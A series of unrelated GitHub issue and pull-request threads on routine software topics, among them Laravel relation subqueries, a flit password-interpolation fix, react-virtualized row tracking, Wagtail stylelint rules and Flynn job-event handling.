Getting relation subquery

Hello! There is some problem with ordering eloquent query results by field from related table. Every solutions which I can find suggest me to make joins to it. I don't think it is good way. In my company we have many projects on laravel and for any case of ordering be related field we need to write it again and result doesn't looks cute.
I'm trying to make some universal solution but I see strange behavior:
Here is model:
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\SoftDeletes;

class Category extends Model
{
    use SoftDeletes;

    ....

    public function translation() {
        $lang = session('lang', 'en');

        return $this->hasOne(CategoryTranslation::class)->where('locale', $lang);
    }
}

And when I'm trying to make scope for ordering:
    public function scopeOrderByRelated($query, $orderField, $desc = 'DESC')
    {
        $entities = explode('.', $orderField);

        $fieldName = array_pop($entities);
        // do not pay attention to it, in the future I'm going to do here a recursive nesting in order to have support for complex relationships, but now I'm just taking the nearest relation
        $relationName = array_shift($entities);

        $relation = $this->__callStatic($relationName, []);

        $subQuery = $relation->getQuery()->toSql();
        $subQuery = str_replace('*', $fieldName, $subQuery);

        $query->selectSub($subQuery, 'orderedField')
            ->addSelect("{$this->getTable()}.*")
            ->orderBy('orderedField', $desc);
    }

The problem is that this $relation->getQuery()->toSql() returns following sql
select title from "category_translations" where "category_translations"."category_id" is null and "category_translations"."category_id" is not null and "locale" = ?

This part of sql looks strange.
"category_translations"."category_id" is null and "category_translations"."category_id" is not null
Expected behavior:
$subQuery = $relation->getQuery()->toSql();
should return
select title from "category_translations" where category_translations.category_id = categories.id and "locale" = ?

if I get this result, then without any problems I can implement the sorting on the connected table. Or may be Сan you suggest the best way to get a subquery of relation?
Laravel version: 5.6
Php version: 7.1
Sql: PostgreSql 9.6.4

Hi there,
Welcome to Laravel and we are glad to have you as part of the community.
Unfortunately this GitHub area is not a support area for general application issues. This is only for issues/bugs with the framework code itself.
Can I suggest closing your issue ticket here? Instead try asking your question on one of the many great community support areas that will likely give you a better answer more quickly:

Laravel Slack (https://larachat.co/)
Laravel.io Forum (https://laravel.io/forum)
Laracasts Forum (https://laracasts.com/discuss)
StackOverflow (http://stackoverflow.com/questions/tagged/laravel)

Thanks in advance.

@laurencei Thank you! I will ask it on Laravel.io


EdgeMesh-Server support HA

What would you like to be added/modified:
EdgeMesh-Server support HA
Why is this needed:
EdgeMesh-Server only support single instance mode,Easy to cause a single point of failure

remove this issue to #353
/close


Avoid Environment Variable Substitution by Using RawConfigParser

The current error occurs due to ConfigParser performing environment variable substitution, causing issues when the password contains the '%' symbol. To fix this, I replaced ConfigParser with RawConfigParser, which avoids environment variable substitution.
Found 8 files tracked in git                                        I-flit.sdist
Built sdist: dist/resu-0.1.2.tar.gz                            I-flit_core.sdist
Copying package file(s) from /var/folders/zv/q47bvs0s6rgd8mxck25__yh40000gn/T/tmpjl6_47_1/resu-0.1.2/resu  I-flit_core.wheel
Writing metadata files                                         I-flit_core.wheel
Writing the record of files                                    I-flit_core.wheel
Built wheel: dist/resu-0.1.2-py2.py3-none-any.whl              I-flit_core.wheel
Traceback (most recent call last):
  File "/Users/Alyetama/miniforge3/bin/flit", line 8, in <module>
    sys.exit(main())
  File "/Users/Alyetama/miniforge3/lib/python3.10/site-packages/flit/__init__.py", line 200, in main
    main(args.ini_file, repository, args.pypirc, formats=set(args.format or []),
  File "/Users/Alyetama/miniforge3/lib/python3.10/site-packages/flit/upload.py", line 277, in main
    do_upload(built.wheel.file, built.wheel.builder.metadata, pypirc_path, repo_name)
  File "/Users/Alyetama/miniforge3/lib/python3.10/site-packages/flit/upload.py", line 251, in do_upload
    repo = get_repository(pypirc_path, repo_name)
  File "/Users/Alyetama/miniforge3/lib/python3.10/site-packages/flit/upload.py", line 90, in get_repository
    repos_cfg = get_repositories(pypirc_path)
  File "/Users/Alyetama/miniforge3/lib/python3.10/site-packages/flit/upload.py", line 57, in get_repositories
    'password': cp.get(name, 'password', fallback=None),
  File "/Users/Alyetama/miniforge3/lib/python3.10/configparser.py", line 800, in get
    return self._interpolation.before_get(self, section, option, value,
  File "/Users/Alyetama/miniforge3/lib/python3.10/configparser.py", line 395, in before_get
    self._interpolate_some(parser, option, L, value, section, defaults, 1)
  File "/Users/Alyetama/miniforge3/lib/python3.10/configparser.py", line 442, in _interpolate_some
    raise InterpolationSyntaxError(
configparser.InterpolationSyntaxError: '%' must be followed by '%' or '(', found: "REDACTED PASSWORD"

Changes:
Updated the code where ConfigParser was used to use RawConfigParser instead. By using RawConfigParser, the password should not be subjected to any environment variable substitution, and the issue should be resolved.

Thanks, that makes sense, and I can't see any reason interpolation would be needed in this file. I notice, though, that the docs on RawConfigParser suggest doing it differently:

Consider using ConfigParser instead which checks types of the values to be stored internally. If you don’t want interpolation, you can use ConfigParser(interpolation=None).

Do you think that makes sense here.
Note that you can also leave your password out of this file and store it with keyring instead, which may be more secure (for some types of threats, not all).

Thank you for the response. I agree with you. I have updated the file to replace RawConfigParseer with ConfigParser(interpolation=None) in alignment with the documentation's recommended practice.
I am aware now that you can use keyring, but would still like to fix this bug since it's one of the password storing methods mentioned in the documentation.

Thank you!


everything stop working if referential integrity breaks (relation to a non-existing record)

let me explain by showing the following scenario
There is two collections users & todos, the user has multiple todos if there is a relation to a non-existing record (for an example if a user has a relation to a non-existing todo) the ember app just stops working
users
  simplelogin:1
    name: "nadeem"
    todos
      firstTodoId: "true"
      secondTodoId: "true"

todos
  firstTodoId
    name: "my first todo"

This is not a normal case, this should not happen (I know), but if it does & it did in a couple of times during testing, the app stops functioning at that point
can't emberfire ignore records like these instead of just crashing, how can we handle this scenario on our end

Thanks for the report.
I'll need to see what the standard Ember Data way of handling this is and see how we can stop breaking the rest of the app.


[6.5.x] JBPM-5119 - Deadlock on EventTypes table with two nodes configured t…

…o use same database

jenkins retest this

according to QE tests this didn't solve the issue, closing for now


NuGet package

Any plans for making a nuget package for this great tool?

This is definitely the best Gettext tool for .NET out there. Agree on making a NuGet package for ease of access. :)

Is released the package?

Sorry for the long wait (more than a year omg!). I had a big lack of time.
NuGet package released: https://www.nuget.org/packages/NGettext/


feat: add happo

Test PR for happo

Warnings

:warning:

Changes were made to yarn.lock, but no plain text yarn audit output was found in PR description. - Can you run yarn audit in your branch and paste the results inside a markdown code block?

  Generated by :no_entry_sign: dangerJS against a020d13d90ed97055fa8e0ebae7312f268cb7c8f


Microsoft.Extensions.PlatformAbstractions TypeInitializationException exception

Platform: Xamarin .Net project for mobile
The use of Microsoft.Extensions.PlatformAbstractions causes an exception to be thrown as per the description in this Xamarin bug report. Also includes a reproduction project.
https://bugzilla.xamarin.com/show_bug.cgi?id=60698
The PlatformAbstractions is reported as being dead. So can the replacements be substituted instead. https://github.com/aspnet/PlatformAbstractions

Closing this now, as it's about an unsupported platform.

Great, thank you, really appreciate that! If you'd have trouble reproducing that, please let me know, I'll try to come up with simple reproducible repo.

Okay, I've reproduced it now. I would really hope .NET Core 3.0 won't behave exactly like this - I'll file an issue in corefx (if there isn't one already) but we should probably look at alternatives anyway. The problem comes if there's no alternative that's available on the platforms we target...

Filed https://github.com/dotnet/corefx/issues/35068
We can parse the result of System.Reflection.Assembly.GetEntryAssembly().GetCustomAttribute<TargetFrameworkAttribute>().FrameworkName instead - which may well still not work on Xamarin, of course, but should at least work on .NET Core 3.0...

Thanks for looking into that issue and finding root cause, really appreciate it.


Roll Engine from ced58ef9c13e to 9d2ab4142cf7 (2 revisions)

https://github.com/flutter/engine/compare/ced58ef9c13e...9d2ab4142cf7
2021-06-17<EMAIL_ADDRESS>Fix windows keyboard: Extended key, delegate order (flutter/engine#26757)
2021-06-17<EMAIL_ADDRESS>Roll Skia from fab6ede2ec1d to 33da72d168d7 (24 revisions) (flutter/engine#26790)
If this roll has caused a breakage, revert this CL and stop the roller
using the controls here:
https://autoroll.skia.org/r/flutter-engine-flutter-autoroll
Please CC<EMAIL_ADDRESS>on the revert to ensure that a human
is aware of the problem.
To report a problem with the AutoRoller itself, please file a bug:
https://bugs.chromium.org/p/skia/issues/entry?template=Autoroller+Bug
Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+doc/master/autoroll/README.md

Commit queue failed; closing this roll.


Support for detecting what range of results are displayed by the list

Thank you for this awesome set of Components ❤.
I have the following feature request, "Support for detecting what range of results are displayed by the list"
Scenario
I am using the components at the moment to render a large finite list. I have a user base that is used to pagination and they are comfortable with how it helps them orient themselves on what they are viewing, the selected page let's them know where they are within the list.
In case of an infinite List displaying a large finite list  I understand that I can display them the total count and the Scroll bar position helps them orient themselves on the relative position in the list,
In order to address the change aversion, I want to be able to derive currentPageNumber out of the visible items in the List
<ItemListPageInfo>{currentPageNumber} of {this.props.itemList.total}</ItemListPageInfo>

Code example
Here is the complete code relevant to this for context.
<ItemListContainer>
    <InfiniteScrollWrapper>
        <InfiniteLoader
            isRowLoaded={this.isRowLoaded}
            loadMoreRows={this.loadMoreRows}
            rowCount={this.props.itemList.total}
            minimumBatchSize={100}
            threshold={10}
        >
            {({ onRowsRendered, registerChild }) => (
                <AutoSizer disableWidth>
                    {({ height }) => (
                        <List
                            ref={registerChild}
                            height={height}
                            onRowsRendered={onRowsRendered}
                            rowCount={this.props.itemList.total}
                            estimatedRowSize={92}
                            noRowsRenderer={this.noRowsRenderer}
                            overscanRowCount={10}
                            rowHeight={92}
                            rowRenderer={this.rowRenderer}
                            width={256}
                        />
                    )}
                </AutoSizer>
            )}
        </InfiniteLoader>
    </InfiniteScrollWrapper>
    <ItemListFooter>
        <ItemCreateButton>+ Create Item</ItemCreateButton>
        <ItemListPageInfo>{currentPageNumber} of {this.props.itemList.total}</ItemListPageInfo>
    </ItemListFooter>
</ItemListContainer>

Interface suggestion
Add a new public method for List component
getVisibleItemsInfo({ excludePartiallyVisibleItems: ?boolean}) which will provide information about the currently displayed visible Items
Return Information {startIndex:number, endIndex:number}
Which can be used to render information to the user like

Viewing items 10 to 20
10 of 20123

This would be a handy API extension.
It would allow folks to implement page-down and scroll-to-next functionality, where "next" is arbitrarily defined (could be the next search result, etc).
The returned value might end up indicating columns, as well, for non-lists:
{
  endColumnIndex: number,
  endRowIndex: number,
  startColumnIndex: number,
  startRowIndex: number,
}

And, adding the following data points would preempt the need for two calls to getOffsetForCell(...):
{
  clientHeight: number,
  clientWidth: number,
  scrollLeft: number,
  scrollTop: number,
}

@bvaughn — Awesome work! RV is a tour de force  :tada:

Why would a public method be needed? You're already using onRowsRendered, which should have all of the info you need? (If you need to access that later, you could store it in state or as instance variables)

(Thanks Tiffon)

Yup yup 😄

I think this issue can be closed since there's already a working solution. Let's keep talking (here) if you disagree though or if I've misunderstood anything.

Ah my bad I didn't think that was an API, gotta read the code better ☹
thanks a lot !
So wrap the function
    onRowsRendered={wrap(
        onRowsRendered,
        this.wrappedOnRowsRendered,
    )}

Sniff for changes to calculate page number
    wrappedOnRowsRendered = (onRowsRendered, ref) => {
        const { startIndex, stopIndex } = ref;
        console.log(
            `StartIndex: ${startIndex} - StopIndex: ${stopIndex}`,
        );
        // put it in the state or calculate pagenumber here
        return onRowsRendered(ref);
    };

@soneymathew Where does the wrap function you use in the onRowsRendered attribute? Is that something you wrote? I'm also trying to do some calculations during the onRowsRendered event.

@k-mada https://lodash.com/docs/4.17.10#wrap


Bump bifunctors and errors deps.

If you like this, will you also push it to Hackage? Thanks!

Thanks, @seagreen!


rename dir ijah/ijah for ijah php api

rename dir ijah/ijah for ijah php api
ch to ijah-api

file names:
connectivity.php (note: change terminology from "interaction" to "connectivity")
metadata.php
total.php

done.


Dread Knight issues

Sinful Absolution doesn't add damage. I think that's because it tries to find DK class blueprint, which is only created later.
Aura of Absolution bonus damage scales from character level, not class level.
Aura of Cowardice does not work.
Aura of Despair does not work.
Aura of Depravity does not work.

Testing was done in Underground Caves of Kenabres.

Should be fixed in next update, I'll leave the ticket open just in case though.


Fix mllearn tests to run on Python 2 & 3.

cc @niketanpansare FYI

Thanks for taking care of this. Can you merge this once https://github.com/apache/incubator-systemml/pull/231 is in.

Yeah definitely.


Use Point layer data in more than one Tab

This is more of a question than an issue.
I have added two layers to my Web Map to use as Tabs in my Storytelling app. One layer has Public Art locations. The other tab is called Cultural Corridor which contains venues. The venues are inside a polygon layer called Cultural Corridor. I basically want to know if the following is possible. How do I get Public Art locations into the Cultural Corridor tab that are inside the Cultural Corridor. Thus the Cultural Corridor tab will have Venues and Public Art locations (preferably with different colours to differentiate).
Cheers,
Cameron

Hi Cameron,
I'm not sure I understand what you are trying to do. Could you please share a link or screenshot of what you have so far to help describe it in more detail? Can you also confirm that you are using the Map Tour app and not a different Story Map app?
As you mentioned this is more of a question than software issue. Would you mind please posting your question to our GeoNet forum instead and we can help you there?
Thanks!
Owen

Looks like this got posted in the wrong place. I am using the Shortlist template. I will try and post it there. Sorry.

No problem, I thought this sounded like Shortlist. ;-) Please post to the Story Maps GeoNet forum and we can continue to help you from there.  thx!


Fixed metis build.

lgtm when the build passes

test this please

v

test this please

@dymczykm Built was successful. lgtm?


Upgrade to PHPStan 2.x

Description
PHPStan 2.x has just been released.
This PR upgrade the code to allow usage of this new major version.
Motivation and context
Closes #1
How has this been tested?
I've created unit test to ensure the code works.
Types of changes
What types of changes does your code introduce? Put an x in all the boxes that apply:

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:
Go over all the following points, and put an x in all the boxes that apply.
Please, please, please, don't send your pull request until all of the boxes are ticked. Once your pull request is created, it will trigger a build on our continuous integration server to make sure your tests and code style pass.

[x] I have read the CONTRIBUTING document.
[x] My pull request addresses exactly one patch/feature.
[x] I have created a branch for this patch/feature.
[x] Each individual commit in the pull request is meaningful.
[x] I have added tests to cover my changes.
[x] If my change requires a change to the documentation, I have updated it accordingly.

Hey @rolfvandekrol sorry for the ping, do you have some time to look at this PR ? 🙏🏼

Thanks for the PR @jdecool, this is the last extension I'm need before I can move to PHPStan 2

Hi, thanks for contributing!
Changes look good and do seem to pass phpstan 1 and 2. Love to see the action that has been added. I would prefer if we'd test phpstan 1 also though. Perhaps add phpstan: [ '^1.0', '^2.0' ] to the different actions so we test on both majors.

Merging and will add testing for minor major afterwars

Changes look good and do seem to pass phpstan 1 and 2. Love to see the action that has been added. I would prefer if we'd test phpstan 1 also though. Perhaps add phpstan: [ '^1.0', '^2.0' ] to the different actions so we test on both majors.

Oh sorry, I've forget to add a test matrix to test with --prefer-stable and --prefer-lowest


Smoking Observations in Epic

It's not clear what smoking observations will look like coming from Epic and whether the CQL we've written will get the information it needs (packs/day) to determine whether the patient is a smoker. We'll need to investigate and potentially change logic.

I've examined a smoking observation coming from Epic, and it looks like we expect it to. We should be able to grab it by the code we've identified.


fixing prototype-polluting warning

Codecov Report

:exclamation: No coverage uploaded for pull request base (main@a4fea50). Click here to learn what that means.
Patch has no changes to coverable lines.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@           Coverage Diff           @@
##             main     #144   +/-   ##
=======================================
  Coverage        ?   81.33%
=======================================
  Files           ?      346
  Lines           ?     3226
  Branches        ?      474
=======================================
  Hits            ?     2624
  Misses          ?      601
  Partials        ?        1

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Abstract data object as collection

With this feature, abstract data objects can be used as collections.
Ps: old comment

Thanks!


Updating links

There was a broken link in this file, so I took the liberty of updating it and the rest to point at the new reference docs.

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/develop/asynchronous-programming-in-office-add-ins.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Thanks @ElizabethSamuel-MSFT. Updated accordingly.


Change co2 input to not default to high time resolution.

          CO2 always defaults to high_time_res = True, would be useful to set to False sometimes when flux time res is e.g. daily (e.g. ocean fluxes)

Originally posted by @hanchawn in https://github.com/openghg/openghg/issues/395#issuecomment-1234352487

Would be good to add more intelligence to this:

default to high_time_res when "fp_HiTRes" is included within the file? Would perhaps have to link back to schema and this becomes a bit circular.


~50x speedup vectorizing array.screenshot with numpy

Not sure if you'll want this because it adds a numpy dependency, but it was necessary for my use case. (I'm using libretro.py to access arcade games for Reinforcement Learning training where speed is important.)

I'd rather keep dependencies for essential libretro.py functionality as slim as possible. But if you write a new NumpyVideoDriver and make sure that...

The new numpy dependency is gated behind an extra the same way OpenGL functionality is
Its feature set matches the existing ArrayVideoDriver
Existing imports aren't broken if numpy isn't installed

...then I'd accept it.

That's super reasonable. In fact, the lack of complicated build steps and dependancies are what drew me to libretro.py. I hadn't thought of the NumpyVideoDriver approach but remember seeing what you did with OpenGL, so that's a good idea.
ps. Reading your code has introduced me to a lot of newer-version Python goodies I didn't know about. Thanks for your efforts on this project.

Pattern matching's a real treat, ain't it?

I'm going to close this PR to keep my backlog tidy, because this PR as it exists conflicts with the goals I'd previously outlined. But if you decide to write a full-fledged NumpyVideoDriver and contribute it upstream, open a new PR and I'll gladly walk you through getting it integrated.

No worries. I found a new approach, making use of ._frame directly rather than .screenshot().  (This is faster and lets me do whatever pixel processing I need on my end without adding new dependencies to libretro.py.)


refactor: remove vimeo in favor of native video element

Removes Vimeo library and styles in favor of native video element. Decreases bundle size and request count.

The play/pause button is showing the play button when it is playing and the pause button when it is paused for me, it should be switched right?

@abbeyhrt why you starting trouble

lol I'm sorry!

@abbeyhrt should be good to go


Request for Enhancement - Reference to add Public IPv4 blocks

Hi,
Looking to add/remove separately IPv4 public addresses.  We have customers like Sonata who add multiple IP's based on how their application needs dictate.  Is there a method not documented that allows this?

Ah, I was wondering if anyone would ask about this :)
The way it works currently is that creating a NAT rule (which gets the first available public IP address) will auto-allocate a public IP block if there are no free IP addresses available at deploy time.
 That sort of non-deterministic behaviour doesn't mix all that well with Terraform. I could implement a ddcloud_public_ip_block resource but then how would you index the returned IP addresses for use in the rest of your configuration? It kinda breaks the use of Terraform's count behaviour.

OK, reading it in that way it makes sense.  I think it is however a fundamental design choice in how terraform will be used in the future.  If for instance we add new IP's based on the current methodology, it works out OK.  But, if we're using this more as a configuration tool where we "reassign a NAT address" to something else, we may be in or out of scope in how Terraform is currently used to build out stuff.  Things like Ansible where we can actively change individual items may make more sense here.
Again, just raising the concerns from what I see.  Let me know - thanks!

Hmm, let me have a think about this and get back to you...

On 27 Sep. 2016, at 2:36 am, wninobla<EMAIL_ADDRESS>wrote:
OK, reading it in that way it makes sense. I think it is however a fundamental design choice in how terraform will be used in the future. If for instance we add new IP's based on the current methodology, it works out OK. But, if we're using this more as a configuration tool where we "reassign a NAT address" to something else, we may be in or out of scope in how Terraform is currently used to build out stuff. Things like Ansible where we can actively change individual items may make more sense here.
Again, just raising the concerns from what I see. Let me know - thanks!
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

Ok. Sorry but for now I think this one may not be practical to implement.
If you run into a specific use case that is being blocked by it, though, let me know and I'll reopen it.

OK no problem - thanks!
Regards,
William Ninobla
Sr. Solutions Architect
Cloud Business Unit
Dimension Data

From: Adam Friedman<EMAIL_ADDRESS>Sent: Monday, October 31, 2016 2:56 PM
To: DimensionDataResearch/dd-cloud-compute-terraform
Cc: William Ninobla (ITaaS); Author
Subject: Re: [DimensionDataResearch/dd-cloud-compute-terraform] Request for Enhancement - Reference to add Public IPv4 blocks (#21)
Ok. Sorry but for now I think this one may not be practical to implement.
If you run into a specific use case that is being blocked by it, though, let me know and I'll reopen it.

You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://github.com/DimensionDataResearch/dd-cloud-compute-terraform/issues/21#issuecomment-257432902, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AQe9vy5dj-5KxbvTAXYSdBbsC4TqFqOUks5q5mQmgaJpZM4KE1Lr.
itevomcid


Use new rtrim/ltrim to reduce usage of regex

FYI the failing tests in https://bbpgitlab.epfl.ch/hpc/sim/neurodamus/-/pipelines/167327 cannot be fixed because it's not possible to select a certain NEURON branch.
To test the blueconfigs CI with a certain NEURON branch you can add to the last commit message:
<commit_message>

NEURON_BRANCH=<your_branch>


(chore) Fix minor typos

Fix various minor typos in :

project documentations,
javadoc and comments,
method attribute and variable names,
test method names.

Codecov Report

Merging #323 (bcc2185) into master (ef728ec) will decrease coverage by 0.05%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##             master     #323      +/-   ##
============================================
- Coverage     86.05%   85.99%   -0.06%
+ Complexity     4680     4678       -2
============================================
  Files           287      287
  Lines         13484    13484
  Branches       1978     1978
============================================
- Hits          11603    11596       -7
- Misses         1321     1325       +4
- Partials        560      563       +3

Impacted Files
Coverage Δ

...va/org/apache/commons/collections4/ArrayStack.java
76.66% <ø> (ø)

.../org/apache/commons/collections4/ClosureUtils.java
100.00% <ø> (ø)

...g/apache/commons/collections4/ComparatorUtils.java
78.57% <ø> (ø)

...rg/apache/commons/collections4/FluentIterable.java
100.00% <ø> (ø)

...java/org/apache/commons/collections4/MapUtils.java
93.30% <ø> (ø)

...java/org/apache/commons/collections4/SetUtils.java
72.97% <ø> (ø)

...ache/commons/collections4/bag/SynchronizedBag.java
91.66% <ø> (ø)

...ommons/collections4/bag/SynchronizedSortedBag.java
25.00% <ø> (ø)

...mons/collections4/bidimap/AbstractDualBidiMap.java
97.19% <ø> (ø)

...ache/commons/collections4/bidimap/TreeBidiMap.java
85.85% <ø> (ø)

... and 46 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ef728ec...bcc2185. Read the comment docs.

Holding off on this one until #320 is merged.

@garydgregory, I just resolved the conflicts. #320 has been merged so this PR is ready for review.

@garydgregory, conflicts resolved.

@garydgregory ?

@garydgregory ?

100+ files changed puts this on the todo list for the weekend most likely...

@garydgregory, will it help you if I split this PR into multiple smaller PRs ?

That might be worse, it's just the same to review but spread out ;-)

I resolved a conflict and rolled back the changes in files that were also changed in #335 (only two typos were rolled back). The two PRs should not conflict with each other.

Hi @marcwrobel
Please revert changes to the bloomfilter package, I don't make to make work for #335
TY

@garydgregory, all changes related to the bloomfilter package have been reverted.


Improve windows update

Put ols binaries into their own folder by release id, so an update can be done in parallel while still being in use (windows)

Thanks. I'll build it later today.


Each child in a list should have a unique "key" prop.

I don't entirely know what this error means, but it seems to have to do with enumeration on lists. I will take a look into fixing it, but it's not a high priority.

Fixed in
PR #11
commit 88dccbb


Create a "Fragment Node" Instead of "Selection Type Record" when Parsing a Named Fragment Spread

Description:
Consider the following document:
query {
    ... QueryFragment
}

fragment QueryFragment on Query {
    teacher {
        name
        address
    }
}

When parsing this document, A fragment node should be created at the spread location of QueryFragment to keep the fragment details. Currently we do not create a fragment node there. Instead of creating a fragment node, we create a selection type record.
Selection record:
public type Selection record {|
    string name;
    boolean isFragment;
    ParentNode node?;
    Location location;
    Location spreadLocation?;
|};

Ideally, This should be a fragment node.

This is a prerequisite for #741


Refactor UI components

After #4979 is merged, we will refactor components to use BEM and ITCSS. Talk to me (@nmorduch, naomi on the Wagtail slack) if you're interested in being a part of this effort!
Child issues can be found at the UI overhaul component label and corresponding Project. The child issues are just based on which scss files were in the components folder after rearranging the SCSS. Some may not need any work, and we may need to add more issues.

Thank you all for getting #4979 / #5215 finally merged ❤.
With this major refactoring now in place, would now be a good time to introduce stricter linting rules? Or Prettier?
Here are some of the linting rules I could think of as being useful:

selector-max-type: 1
selector-no-qualifying-type
selector-max-specificity: 0,3,0 (though to retrofit, would need plenty of ignore comments for the current code)
selector-no-vendor-prefix
media-feature-name-no-vendor-prefix
at-rule-no-vendor-prefix
scss/declaration-nested-properties: never

These come from my personal config, for which I reviewed all available rules about 6 months ago. There might be other ones available since then.

I've been considering whether it would be better to add stricter linting before or after refactoring each file. I'm feeling inclined at the moment toward before. I might suggest that for things like selector-max-specificity we can disable that rule for each file that has a problem, and then as each file is refactored, reenable it.
I don't have strong feelings at this point about what the rules are, just that there be rules, so I'm happy to defer to what you (and others) prefer.

@thibaudcolas I think the base Prettier config + those stylelint rules would be a brilliant place to start.
What if we turned on linting - but don't make it break the build - then over the next couple of releases work on removing all the warnings. Once thats done then flick the switch to force developers to adhere as a hard and fast rule?

👌 I'd be up for making a PR with new stylelint rules if you're ok to review that. Can also extract the config to a separate repo/package like we did for ESLint (https://github.com/wagtail/eslint-config-wagtail) if that seems valuable?
For the strategy to increase linting, my preference would be not to introduce any kind of project-wide "off time", as these can easily last longer than intended. I would see two options:

Make linting more strict, and add ignore comments to legacy code that does not comply
If stylelint supports that, have separate configs for legacy code and not-legacy (with config inheritance ideally)

In both cases it would probaby be better if the "base" config had our ideal config, and then legacy overrides made it less strict, so future developments know what baseline to aim for.

@thibaudcolas Yep I'd be down to review.
Out of interest why was the ESLint config pulled out into a separate repo?
Yeah good point RE it just pushing out the inevitable. I feel like ignore comments is probably going to require the least effort and be simplest to setup quickly - and give us more flexibility without having to ad tweaks to the build config.

@jonnyscholes the general idea was that it would make it easier for us to reuse the config in other projects related to Wagtail, and have it available for people who would be developing something with the goal of eventually have it merged into Wagtail.
I think it somehow work(ed), but it was never advertised much, and it became out of date.

Ah nice, hadn't thought of that advantage. Yeah that makes sense - seems more and more projects are coming into the Wagtail org so may well get some use :)

@thibaudcolas  - I have recently worked through a revisit of our stylelint configs with a project I am working on. I think it is a great idea to separate out our ideal (most strict) config into its own repo, and then progressively use it across the scss as we work on it.
Stylelint Packages:

https://github.com/hudochenkov/stylelint-order - adds rules for enforcing alphabetical ordering (eg. background before color), this may come across as a bit too strict but it really helps to minimise diffs, pick up obvious issues and work in scss that others are using - there may be alternatives though.
https://github.com/hugomrdias/prettier-stylelint - CLI tool, see below

Styelint Config:
I had a look through our existing config, it looks pretty good, I think some rules may need to be re-checked that they are available still.
It would be good to extend the stylelint-config-standard as it is a good set of configs to start with - https://github.com/stylelint/stylelint-config-standard/blob/master/index.js

max-line-length - this should match the prettier config default IMO - as such, we use 80 chars with "ignore": ["comments", "non-comments"] - https://stylelint.io/user-guide/rules/max-line-length/
media-feature-name-no-vendor-prefix - + already mentioned - https://stylelint.io/user-guide/rules/media-feature-name-no-vendor-prefix/
order/properties-alphabetical-order - this is from the stylelint-order plugin mentioned above
selector-no-vendor-prefix - should not be needed with auto-prefixing + already mentioned - https://stylelint.io/user-guide/rules/selector-no-vendor-prefix/

Stylelint Tooling:

We have used Prettier Stylelint it is a CLI that runs stylelint fix and then prettier over the top, it helps to easily enforce many of the stylelint rules in an automated way (it makes the properties ordering practical to use).
Stylelint and prettier can work well together, they do different roles and I think we should use both for our scss files.

I just noticed that we've been discussing this on the general overhaul ticket, and am moving this conversation to a new ticket, #5246 :)

I've just noticed that the Explorer's scss resides outside of the main scss folder - this made sense when it was being developed as there was no existing place to put it. Should it be moved to client/scss/components/? (Same story for .c-spinner, .c-status and the hallo related scss).
cc @nmorduch @thibaudcolas

I find it more valuable to separate code by component than by file type, especially for larger codebases like Wagtail’s. This works relatively well with React code with its component-driven nature, but if it was up to me I'd also extend this to HTML templates in Django codebases – it's quite annoying to have to hunt for templates when looking at given styles, and also the other way around.

@thibaudcolas Yeah I'd agree and would much prefer that too. But is that approach possible given how tied to the backend the HTML is and that only some parts of the frontend will ever be React? There has been chatter somewhere of turning everything into includes/macros - but thats a massive (and additional) job thats an even harder moving target because it directly impacts work done by the "backend team".
I guess in the mean time I'd prefer a consistent but no-quite-what-we-want approach than a mix of 2.

Also but I think there are complications when trying to use includes from outside the paths the template loader would search in? (Which anything inside client would be currently I think...)

As an additional task for this refactor, I’d like to propose we remove home.css and refactor most/all of its styles to components.
A good third of that file is overrides to the header, another third is the "X pages, Y images, Z documents" metrics, and the last third seems to be dead code (search bar overrides, I can’t see how a search bar could make its way to the homepage)

Closing this since we're going about this differently


Replace print() + abort() with fatalError() so Quick Testing Framework correctly handles error

This helps the developer catch the error that the interaction is not found when testing using Quick Framework

👍

🍏  Failing build looks unrelated.


[eas submit] Added new common error messages

Checklist

[x] I've added an entry to CHANGELOG.md if necessary.

Why
More errors are now handled by server-side submission service, we need to reflect them in eas-cli.
How
Added support for the following error messages:

When user provides a tar.gz archive which is corrupt.
When provided tar.gz archive doesn't contain any (apk|aab|ipa) file, depending on platform (e.g. iOS accepts only ipa).
When user provides incorrect Apple ID or App-specific password.

Test Plan
N/A

:shipit:


controller,scheduler: Fix job event duplication constraint

We currently only create a single event per job ID and state (see here), but it is feasible for a job to enter a particular state twice.
As an example, if a host is deemed unhealthy by the scheduler, all jobs on that host are marked as down, but then if the host comes back the jobs may still be running so the jobs will re-enter the running state. Subsequent deploys involving those jobs will then fail because down events won't be emitted (the down event already exists from when the host became unhealthy).
Couple of options:

drop the unique constraint (need to think about whether anything assumes the events won't be duplicated)
when the scheduler marks jobs as down, just stop them if they appear running again since replacement jobs have already been started

@titanous @josephglanville @jvatic thoughts?

when the scheduler marks jobs as down, just stop them if they appear running again since replacement jobs have already been started.

I think that's the correct response.

Alternatively a different state could be added for jobs that are gone because the host went away.

@titanous I don't think adding a new state for jobs on disconnected hosts will really help.
When the scheduler reconnects to a host whose jobs were previously marked as stopped (or put in some other state like unknown), it still needs to make a decision whether to just stop any jobs which are still running or try and mark them as running again (leading to duplicate up events in the controller).
I think we should just go with stopping the jobs straight away after reconnection.

Flynn is unmaintained and our infrastructure will shut down on June 1, 2021. See the README for details.


No Goal indicator visible

I could not find any example of how the goal indicator or bar should look like, but if I set a goal and a color I cannot see anything that is drawn or changes while writing towards the goal and reach it. Any hints or ideas?
Example: Set goal to 130 words, color: default

Thanks for the report @rudygasson I can reproduce it. Yet I did not have any time to look into it. PR's are definitely welcome ✨

this fix is included in 2.10.3


POC: Add an option to wait for secondary volumes

